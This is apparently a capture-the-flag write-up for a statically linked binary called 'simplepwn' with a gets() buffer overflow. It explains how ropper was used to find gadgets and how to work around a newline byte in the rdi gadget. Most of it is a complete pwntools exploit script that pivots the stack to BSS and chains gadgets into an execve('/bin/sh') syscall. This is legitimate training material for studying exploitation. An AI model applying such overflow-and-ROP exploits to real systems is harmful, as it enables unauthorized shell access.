A statically compiled program has a
gets
function causing a buffer overflow.We can't directly use a ROP chain, so we need to manually find gadgets to control registers.
Use
ropper --file=simplepwn --search "pop"
.You can see that all the registers are available, but the
rdi
register has an \x0a
at the end, which is interpreted as the end of the string. This causes the ROP chain to be truncated. Additionally, the position of the bin_sh
string is unknown, so the strategy is to first overflow and transfer control to the BSS section. Then, the ROP chain is laid out. Since pop rdi
cannot be used directly, you have to manually search for a magic gadget that can assign a value to rdi
.The two gadgets can be used.
pop rbx
can be used directly, so just arrange the ROP chain accordingly.Exploit Script (Exp)
from pwn import * from LibcSearcher import * from ctypes import * # Start the process io = process('./simplepwn') elf = ELF('./simplepwn') # Set context for debugging context(log_level='debug', arch=elf.arch, os=elf.os) # libC related setup libc = elf.libc # Debug function to attach GDB def debug(): gdb.attach(io, gdbscript="b *0x4011A2") pause() # Function to get address from received data def get_addr(): return u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) # Function to get the system address def get_sys(): return libcbase + next(libc.search(b'/bin/sh\x00')), libcbase + libc.sym['system'] # Shortcuts for reading and writing r = lambda num: io.recv(num) ru = lambda data: io.recvuntil(data) rl = lambda: io.recvline() s = lambda data: io.send(data) sl = lambda data: io.sendline(data) sla = lambda data, pay: io.sendlineafter(data, pay) uu64 = lambda size: u64(io.recv(size).ljust(8, b'\x00')) uu32 = lambda size: u32(io.recv(size).ljust(4, b'\x00')) itr = lambda: io.interactive() li = lambda x: print('\x1b[01;38;5;214m' + x + '\x1b[0m') # BSS section address + padding size bss = 0x408220 + 0x300 # Gadget addresses (these values are found using ropper) rdi = 0x000000000040230a rax = 0x0000000000401001 rsi = 0x000000000040499b rdx = 0x0000000000404514 rbp = 0x0000000000401123 syscall = 0x0000000000404676 rbx = 0x0000000000403fd5 magic = 0x00000000004048ff leave = 0x4011A7 ru(b'Welcome to Hackaday 2024! This is a very simple challenge :)') # First payload: overflow and jump to the BSS section pay = b'/bin/sh\x00' + b'a'*0x68 + p64(bss) + p64(0x401191) sl(pay) # Second payload: Set up the ROP chain for system call pay = b'/bin/sh\x00' + p64(rbx) + p64(0x4084b0) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall) * 5 + p64(magic) + p64(syscall) pay += p64(bss) + p64(rbp) + p64(0x4084b0) + p64(rax) + p64(0x3b) + p64(leave) # Sleep for a brief moment before sending the second payload sleep(0.1) # Send the second payload sl(pay) # Interact with the shell itr()